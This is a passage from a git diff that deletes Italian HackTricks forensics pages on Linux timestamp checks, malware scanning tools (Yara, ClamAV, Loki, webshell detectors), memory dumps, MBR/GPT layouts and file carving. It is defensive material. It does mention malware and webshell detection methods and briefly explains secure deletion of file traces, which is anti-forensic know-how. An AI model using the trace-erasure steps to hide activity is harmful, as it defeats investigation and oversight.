consecutivi** per file dannosi vicini dopo averne identificato uno, poiché potrebbero essere stati collocati insieme. -- **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file recentemente modificati, poiché questi potrebbero essere stati alterati da malware. -````bash -# List recent files in a directory: -ls -laR --sort=time /bin``` - -# Sort files in a directory by inode: -ls -lai /bin | sort -n``` -```` -> [!NOTE] -> Nota che un **attaccante** può **modificare** il **tempo** per far **apparire** i **file** **legittimi**, ma non può **modificare** l'**inode**. Se scopri che un **file** indica che è stato creato e modificato allo **stesso tempo** degli altri file nella stessa cartella, ma l'**inode** è **inaspettatamente più grande**, allora i **timestamp di quel file sono stati modificati**. - -## Confronta file di diverse versioni del filesystem - -### Riepilogo del confronto delle versioni del filesystem - -Per confrontare le versioni del filesystem e individuare le modifiche, utilizziamo comandi `git diff` semplificati: - -- **Per trovare nuovi file**, confronta due directory: -```bash -git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ -``` -- **Per il contenuto modificato**, elenca le modifiche ignorando righe specifiche: -```bash -git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" -``` -- **Per rilevare file eliminati**: -```bash -git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ -``` -- **Le opzioni di filtro** (`--diff-filter`) aiutano a restringere a modifiche specifiche come file aggiunti (`A`), eliminati (`D`) o modificati (`M`). -- `A`: File aggiunti -- `C`: File copiati -- `D`: File eliminati -- `M`: File modificati -- `R`: File rinominati -- `T`: Cambiamenti di tipo (ad es., file a symlink) -- `U`: File non uniti -- `X`: File sconosciuti -- `B`: File danneggiati - -## Riferimenti - -- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) -- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) -- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md deleted file mode 100644 index bf334afb4..000000000 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ /dev/null @@ -1,154 +0,0 @@ -# Analisi del Malware - -{{#include ../../banners/hacktricks-training.md}} - -## CheatSheets di Forensics - -[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) - -## Servizi Online - -- [VirusTotal](https://www.virustotal.com/gui/home/upload) -- [HybridAnalysis](https://www.hybrid-analysis.com) -- [Koodous](https://koodous.com) -- [Intezer](https://analyze.intezer.com) -- [Any.Run](https://any.run/) - -## Strumenti Antivirus e di Rilevamento Offline - -### Yara - -#### Installa -```bash -sudo apt-get install -y yara -``` -#### Preparare le regole - -Usa questo script per scaricare e unire tutte le regole yara per malware da github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Crea la directory _**rules**_ ed eseguila. Questo creerà un file chiamato _**malware_rules.yar**_ che contiene tutte le regole yara per malware. -```bash -wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py -mkdir rules -python malware_yara_rules.py -``` -#### Scansione -```bash -yara -w malware_rules.yar image #Scan 1 file -yara -w malware_rules.yar folder #Scan the whole folder -``` -#### YaraGen: Controlla la presenza di malware e crea regole - -Puoi utilizzare lo strumento [**YaraGen**](https://github.com/Neo23x0/yarGen) per generare regole yara da un binario. Dai un'occhiata a questi tutorial: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) -```bash -python3 yarGen.py --update -python3.exe yarGen.py --excludegood -m ../../mals/ -``` -### ClamAV - -#### Installa -``` -sudo apt-get install -y clamav -``` -#### Scansione -```bash -sudo freshclam #Update rules -clamscan filepath #Scan 1 file -clamscan folderpath #Scan the whole folder -``` -### [Capa](https://github.com/mandiant/capa) - -**Capa** rileva potenziali **capacità** dannose negli eseguibili: PE, ELF, .NET. Quindi troverà cose come le tattiche Att\&ck, o capacità sospette come: - -- controlla l'errore OutputDebugString -- esegui come servizio -- crea processo - -Ottienilo nel [**Github repo**](https://github.com/mandiant/capa). - -### IOCs - -IOC significa Indicatore di Compromissione. Un IOC è un insieme di **condizioni che identificano** alcuni software potenzialmente indesiderati o **malware** confermati. I Blue Teams utilizzano questo tipo di definizione per **cercare questo tipo di file dannosi** nei loro **sistemi** e **reti**.\ -Condividere queste definizioni è molto utile poiché quando il malware viene identificato in un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificare il malware più rapidamente. - -Uno strumento per creare o modificare IOCs è [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -Puoi utilizzare strumenti come [**Redline**](https://www.fireeye.com/services/freeware/redline.html) per **cercare IOCs definiti in un dispositivo**. - -### Loki - -[**Loki**](https://github.com/Neo23x0/Loki) è uno scanner per Indicatori di Compromissione Semplici.\ -La rilevazione si basa su quattro metodi di rilevamento: -``` -1. File Name IOC -Regex match on full file path/name - -2. Yara Rule Check -Yara signature matches on file data and process memory - -3. Hash Check -Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check -Compares process connection endpoints with C2 IOCs (new since version v.10) -``` -### Linux Malware Detect - -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) è uno scanner di malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato attorno alle minacce affrontate negli ambienti di hosting condivisi. Utilizza dati sulle minacce provenienti dai sistemi di rilevamento delle intrusioni ai margini della rete per estrarre malware che viene attivamente utilizzato negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono anche derivati dalle segnalazioni degli utenti con la funzione di checkout LMD e dalle risorse della comunità malware. - -### rkhunter - -Strumenti come [**rkhunter**](http://rkhunter.sourceforge.net) possono essere utilizzati per controllare il filesystem per possibili **rootkit** e malware. -```bash -sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] -``` -### FLOSS - -[**FLOSS**](https://github.com/mandiant/flare-floss) è uno strumento che cercherà di trovare stringhe offuscate all'interno di eseguibili utilizzando diverse tecniche. - -### PEpper - -[PEpper](https://github.com/Th3Hurrican3/PEpper) controlla alcune informazioni di base all'interno dell'eseguibile (dati binari, entropia, URL e IP, alcune regole yara). - -### PEstudio - -[PEstudio](https://www.winitor.com/download) è uno strumento che consente di ottenere informazioni sugli eseguibili di Windows come importazioni, esportazioni, intestazioni, ma controllerà anche virus total e troverà potenziali tecniche Att\&ck. - -### Detect It Easy(DiE) - -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) è uno strumento per rilevare se un file è **crittografato** e anche per trovare **packers**. - -### NeoPI - -[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) è uno script Python che utilizza una varietà di **metodi statistici** per rilevare contenuti **offuscati** e **crittografati** all'interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella **rilevazione di codice web shell nascosto**. - -### **php-malware-finder** - -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fa del suo meglio per rilevare **codice offuscato**/**sospetto** così come file che utilizzano funzioni **PHP** spesso usate in **malware**/webshell. - -### Apple Binary Signatures - -Quando controlli alcuni **campioni di malware** dovresti sempre **controllare la firma** del binario poiché il **sviluppatore** che l'ha firmato potrebbe essere già **relato** a **malware.** -```bash -#Get signer -codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" - -#Check if the app’s contents have been modified -codesign --verify --verbose /Applications/Safari.app - -#Check if the signature is valid -spctl --assess --verbose /Applications/Safari.app -``` -## Tecniche di Rilevamento - -### File Stacking - -Se sai che una cartella contenente i **file** di un server web è stata **aggiornata l'ultima volta in una certa data**. **Controlla** la **data** in cui tutti i **file** nel **server web sono stati creati e modificati** e se qualche data è **sospetta**, controlla quel file. - -### Baselines - -Se i file di una cartella **non avrebbero dovuto essere modificati**, puoi calcolare l'**hash** dei **file originali** della cartella e **confrontarli** con quelli **correnti**. Qualsiasi modifica sarà **sospetta**. - -### Analisi Statistica - -Quando le informazioni sono salvate nei log puoi **controllare statistiche come quante volte ogni file di un server web è stato accesso poiché una web shell potrebbe essere una delle più**. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md deleted file mode 100644 index 4c6be4e41..000000000 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# Analisi del dump di memoria - -{{#include ../../../banners/hacktricks-training.md}} - -## Inizio - -Inizia a **cercare** **malware** all'interno del pcap. Usa gli **strumenti** menzionati in [**Analisi del Malware**](../malware-analysis.md). - -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) - -**Volatility è il principale framework open-source per l'analisi dei dump di memoria**. Questo strumento Python analizza i dump provenienti da fonti esterne o VM VMware, identificando dati come processi e password in base al profilo OS del dump. È estensibile con plugin, rendendolo altamente versatile per le indagini forensi. - -**[Trova qui un cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** - -## Rapporto di crash mini dump - -Quando il dump è piccolo (solo alcuni KB, forse qualche MB) allora probabilmente si tratta di un rapporto di crash mini dump e non di un dump di memoria. - -![](<../../../images/image (216).png>) - -Se hai Visual Studio installato, puoi aprire questo file e legare alcune informazioni di base come nome del processo, architettura, informazioni sull'eccezione e moduli in esecuzione: - -![](<../../../images/image (217).png>) - -Puoi anche caricare l'eccezione e vedere le istruzioni decompilate - -![](<../../../images/image (219).png>) - -![](<../../../images/image (218) (1).png>) - -Comunque, Visual Studio non è il miglior strumento per eseguire un'analisi approfondita del dump. - -Dovresti **aprirlo** usando **IDA** o **Radare** per ispezionarlo in **profondità**. - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md deleted file mode 100644 index b05b62dd5..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ /dev/null @@ -1,234 +0,0 @@ -# Partizioni/File Systems/Carving - -{{#include ../../../banners/hacktricks-training.md}} - -## Partizioni - -Un hard disk o un **SSD può contenere diverse partizioni** con l'obiettivo di separare fisicamente i dati.\ -L'unità **minima** di un disco è il **settore** (normalmente composto da 512B). Quindi, ogni dimensione della partizione deve essere un multiplo di quella dimensione. - -### MBR (master Boot Record) - -È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\ -Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\ -MBR consente **max 2.2TB**. - -![](<../../../images/image (489).png>) - -![](<../../../images/image (490).png>) - -Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se viene utilizzato Windows). La lettera del disco logico dell'hard disk dipende dalla Windows Disk Signature. Cambiare questa firma potrebbe impedire a Windows di avviarsi (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. - -![](<../../../images/image (493).png>) - -**Formato** - -| Offset | Lunghezza | Voce | -| ----------- | ----------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Codice di avvio | -| 446 (0x1BE) | 16 (0x10) | Prima Partizione | -| 462 (0x1CE) | 16 (0x10) | Seconda Partizione | -| 478 (0x1DE) | 16 (0x10) | Terza Partizione | -| 494 (0x1EE) | 16 (0x10) | Quarta Partizione | -| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | - -**Formato del Record di Partizione** - -| Offset | Lunghezza | Voce | -| --------- | --------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Flag attivo (0x80 = avviabile) | -| 1 (0x01) | 1 (0x01) | Testa di inizio | -| 2 (0x02) | 1 (0x01) | Settore di inizio (bit 0-5); bit superiori del cilindro (6- 7) | -| 3 (0x03) | 1 (0x01) | Cilindro di inizio 8 bit più bassi | -| 4 (0x04) | 1 (0x01) | Codice tipo partizione (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | Testa di fine | -| 6 (0x06) | 1 (0x01) | Settore di fine (bit 0-5); bit superiori del cilindro (6- 7) | -| 7 (0x07) | 1 (0x01) | Cilindro di fine 8 bit più bassi | -| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) | -| 12 (0x0C) | 4 (0x04) | Settori nella partizione | - -Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`) - -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -E poi usa il seguente codice -```bash -#Mount MBR in Linux -mount -o ro,loop,offset= -#63x512 = 32256Bytes -mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ -``` -**LBA (Logical block addressing)** - -**Logical block addressing** (**LBA**) è uno schema comune utilizzato per **specificare la posizione dei blocchi** di dati memorizzati sui dispositivi di archiviazione del computer, generalmente sistemi di archiviazione secondaria come i dischi rigidi. LBA è uno schema di indirizzamento lineare particolarmente semplice; **i blocchi sono localizzati da un indice intero**, con il primo blocco che è LBA 0, il secondo LBA 1, e così via. - -### GPT (GUID Partition Table) - -La GUID Partition Table, nota come GPT, è preferita per le sue capacità avanzate rispetto a MBR (Master Boot Record). Distintiva per il suo **identificatore univoco globale** per le partizioni, GPT si distingue in diversi modi: - -- **Posizione e Dimensione**: Sia GPT che MBR iniziano a **settore 0**. Tuttavia, GPT opera su **64 bit**, a differenza dei 32 bit di MBR. -- **Limiti delle Partizioni**: GPT supporta fino a **128 partizioni** sui sistemi Windows e può contenere fino a **9.4ZB** di dati. -- **Nomi delle Partizioni**: Offre la possibilità di nominare le partizioni con fino a 36 caratteri Unicode. - -**Resilienza e Recupero dei Dati**: - -- **Ridondanza**: A differenza di MBR, GPT non limita la partizione e i dati di avvio a un solo luogo. Replica questi dati su tutto il disco, migliorando l'integrità e la resilienza dei dati. -- **Controllo di Ridondanza Ciclomato (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco. - -**MBR Protettivo (LBA0)**: - -- GPT mantiene la compatibilità retroattiva attraverso un MBR protettivo. Questa funzione risiede nello spazio MBR legacy ma è progettata per prevenire che le utilità basate su MBR più vecchie sovrascrivano erroneamente i dischi GPT, proteggendo così l'integrità dei dati sui dischi formattati GPT. - -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) - -**MBR Ibrido (LBA 0 + GPT)** - -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -Nei sistemi operativi che supportano **l'avvio basato su GPT tramite i servizi BIOS** piuttosto che EFI, il primo settore può ancora essere utilizzato per memorizzare la prima fase del codice del **bootloader**, ma **modificato** per riconoscere le **partizioni GPT**. Il bootloader nell'MBR non deve assumere una dimensione del settore di 512 byte. - -**Intestazione della tabella delle partizioni (LBA 1)** - -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -L'intestazione della tabella delle partizioni definisce i blocchi utilizzabili sul disco. Definisce anche il numero e la dimensione delle voci di partizione che compongono la tabella delle partizioni (offset 80 e 84 nella tabella). - -| Offset | Lunghezza | Contenuti | -| --------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 byte | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)su macchine little-endian) | -| 8 (0x08) | 4 byte | Revisione 1.0 (00h 00h 01h 00h) per UEFI 2.8 | -| 12 (0x0C) | 4 byte | Dimensione dell'intestazione in little endian (in byte, di solito 5Ch 00h 00h 00h o 92 byte) | -| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) dell'intestazione (offset +0 fino alla dimensione dell'intestazione) in little endian, con questo campo azzerato durante il calcolo | -| 20 (0x14) | 4 byte | Riservato; deve essere zero | -| 24 (0x18) | 8 byte | LBA corrente (posizione di questa copia dell'intestazione) | -| 32 (0x20) | 8 byte | LBA di backup (posizione dell'altra copia dell'intestazione) | -| 40 (0x28) | 8 byte | Primo LBA utilizzabile per le partizioni (LBA dell'ultima tabella di partizione primaria + 1) | -| 48 (0x30) | 8 byte | Ultimo LBA utilizzabile (primo LBA della tabella di partizione secondaria − 1) | -| 56 (0x38) | 16 byte | GUID del disco in endian misto | -| 72 (0x48) | 8 byte | LBA iniziale di un array di voci di partizione (sempre 2 nella copia primaria) | -| 80 (0x50) | 4 byte | Numero di voci di partizione nell'array | -| 84 (0x54) | 4 byte | Dimensione di una singola voce di partizione (di solito 80h o 128) | -| 88 (0x58) | 4 byte | CRC32 dell'array delle voci di partizione in little endian | -| 92 (0x5C) | \* | Riservato; deve essere zero per il resto del blocco (420 byte per una dimensione del settore di 512 byte; ma può essere di più con dimensioni del settore maggiori) | - -**Voci di partizione (LBA 2–33)** - -| Formato della voce di partizione GUID | | | -| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Lunghezza | Contenuti | -| 0 (0x00) | 16 byte | [Tipo di GUID della partizione](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) | -| 16 (0x10) | 16 byte | GUID univoco della partizione (endian misto) | -| 32 (0x20) | 8 byte | Primo LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 byte | Ultimo LBA (inclusivo, di solito dispari) | -| 48 (0x30) | 8 byte | Flag di attributo (ad es. il bit 60 indica di sola lettura) | -| 56 (0x38) | 72 byte | Nome della partizione (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unità di codice) | - -**Tipi di Partizioni** - -![](<../../../images/image (492).png>) - -Altri tipi di partizioni in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -### Ispezione - -Dopo aver montato l'immagine forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puoi ispezionare il primo settore utilizzando lo strumento Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Nell'immagine seguente è stato rilevato un **MBR** sul **settore 0** e interpretato: - -![](<../../../images/image (494).png>) - -Se fosse stata una **tabella GPT invece di un MBR**, dovrebbe apparire la firma _EFI PART_ nel **settore 1** (che nell'immagine precedente è vuoto). - -## File-Systems - -### Elenco dei file system di Windows - -- **FAT12/16**: MSDOS, WIN95/98/NT/200 -- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 -- **ExFAT**: 2008/2012/2016/VISTA/7/8/10 -- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 -- **ReFS**: 2012/2016 - -### FAT - -Il file system **FAT (File Allocation Table)** è progettato attorno al suo componente principale, la tabella di allocazione dei file, posizionata all'inizio del volume. Questo sistema protegge i dati mantenendo **due copie** della tabella, garantendo l'integrità dei dati anche se una è corrotta. La tabella, insieme alla cartella radice, deve trovarsi in una **posizione fissa**, cruciale per il processo di avvio del sistema. - -L'unità di archiviazione di base del file system è un **cluster, di solito 512B**, composto da più settori. FAT si è evoluto attraverso versioni: - -- **FAT12**, che supporta indirizzi di cluster a 12 bit e gestisce fino a 4078 cluster (4084 con UNIX). -- **FAT16**, che migliora a indirizzi a 16 bit, consentendo così di ospitare fino a 65.517 cluster. -- **FAT32**, che avanza ulteriormente con indirizzi a 32 bit, consentendo un impressionante 268.435.456 cluster per volume. - -Una limitazione significativa in tutte le versioni di FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file. - -I componenti chiave della directory radice, in particolare per FAT12 e FAT16, includono: - -- **Nome del File/Cartella** (fino a 8 caratteri) -- **Attributi** -- **Date di Creazione, Modifica e Ultimo Accesso** -- **Indirizzo della Tabella FAT** (che indica il cluster iniziale del file) -- **Dimensione del File** - -### EXT - -**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e sono utilizzati solitamente per le **altre partizioni**. - -## **Metadata** - -Alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come: - -- Titolo -- Versione di MS Office utilizzata -- Autore -- Date di creazione e ultima modifica -- Modello della fotocamera -- Coordinate GPS -- Informazioni sull'immagine - -Puoi utilizzare strumenti come [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) per ottenere i metadati di un file. - -## **Recupero di File Cancellati** - -### File Cancellati Registrati - -Come visto in precedenza, ci sono diversi luoghi in cui il file è ancora salvato dopo essere stato "cancellato". Questo perché di solito la cancellazione di un file da un file system segna semplicemente il file come cancellato, ma i dati non vengono toccati. Quindi, è possibile ispezionare i registri dei file (come l'MFT) e trovare i file cancellati. - -Inoltre, il sistema operativo di solito salva molte informazioni sui cambiamenti del file system e sui backup, quindi è possibile provare a utilizzarli per recuperare il file o quante più informazioni possibili. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### **File Carving** - -**File carving** è una tecnica che cerca di **trovare file nel bulk di dati**. Ci sono 3 modi principali in cui strumenti come questo funzionano: **Basato su intestazioni e footer dei tipi di file**, basato su **strutture** dei tipi di file e basato sul **contenuto** stesso. - -Nota che questa tecnica **non funziona per recuperare file frammentati**. Se un file **non è memorizzato in settori contigui**, allora questa tecnica non sarà in grado di trovarlo o almeno parte di esso. - -Ci sono diversi strumenti che puoi utilizzare per il file carving indicando i tipi di file che desideri cercare. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Data Stream **C**arving - -Data Stream Carving è simile al File Carving ma **invece di cercare file completi, cerca frammenti interessanti** di informazioni.\ -Ad esempio, invece di cercare un file completo contenente URL registrati, questa tecnica cercherà URL. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Cancellazione Sicura - -Ovviamente, ci sono modi per **cancellare "in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\ -Potresti notare che anche eseguendo quell'azione potrebbero esserci **altre parti in cui l'esistenza del file è ancora registrata**, e questo è vero e parte del lavoro del professionista forense è trovarle. - -## Riferimenti - -- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) -- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) -- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md deleted file mode 100644 index 69d71572a..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ /dev/null @@ -1,87 +0,0 @@ -# File/Data Carving & Recovery Tools - -{{#include ../../../banners/hacktricks-training.md}} - -## Carving & Recovery tools - -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) - -### Autopsy - -Lo strumento più comune utilizzato in forense per estrarre file da immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici. - -### Binwalk - -**Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -### Foremost - -Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -### **Scalpel** - -**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione (_/etc/scalpel/scalpel.conf_) i tipi di file che desideri estrarre. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -### Bulk Extractor - -Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare: -``` -bulk_extractor memory.img -o out_folder -``` -Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **Pcaps analysis**](../pcap-inspection/index.html)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**). - -### PhotoRec - -Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) - -Viene fornito con versioni GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi. - -![](<../../../images/image (524).png>) - -### binvis - -Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina web dello strumento](https://binvis.io/#/). - -#### Caratteristiche di BinVis - -- Visualizzatore di **struttura** visivo e attivo -- Plots multipli per diversi punti di interesse -- Focalizzazione su porzioni di un campione -- **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio -- Ottenere **pattern** per la crittoanalisi su file -- **Identificare** algoritmi di packer o encoder -- **Identificare** la steganografia tramite pattern -- **Differenziazione** binaria visiva - -BinVis è un ottimo **punto di partenza per familiarizzare con un obiettivo sconosciuto** in uno scenario di black-boxing. - -## Strumenti specifici per il Data Carving - -### FindAES - -Cerca chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi da 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker. - -Scarica [qui](https://sourceforge.net/projects/findaes/). - -## Strumenti complementari - -Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale.\ -Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md deleted file mode 100644 index f9b801215..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ /dev/null @@ -1,64 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Strumenti di Carving - -## Autopsy - -Lo strumento più comune utilizzato nella forense per estrarre file dalle immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici. - -## Binwalk - -**Binwalk** è uno strumento per cercare file binari come immagini e file audio per file e dati incorporati. Può essere installato con `apt`, tuttavia il [sorgente](https://github.com/ReFirmLabs/binwalk) può essere trovato su github. -**Comandi utili**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -## Foremost - -Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, 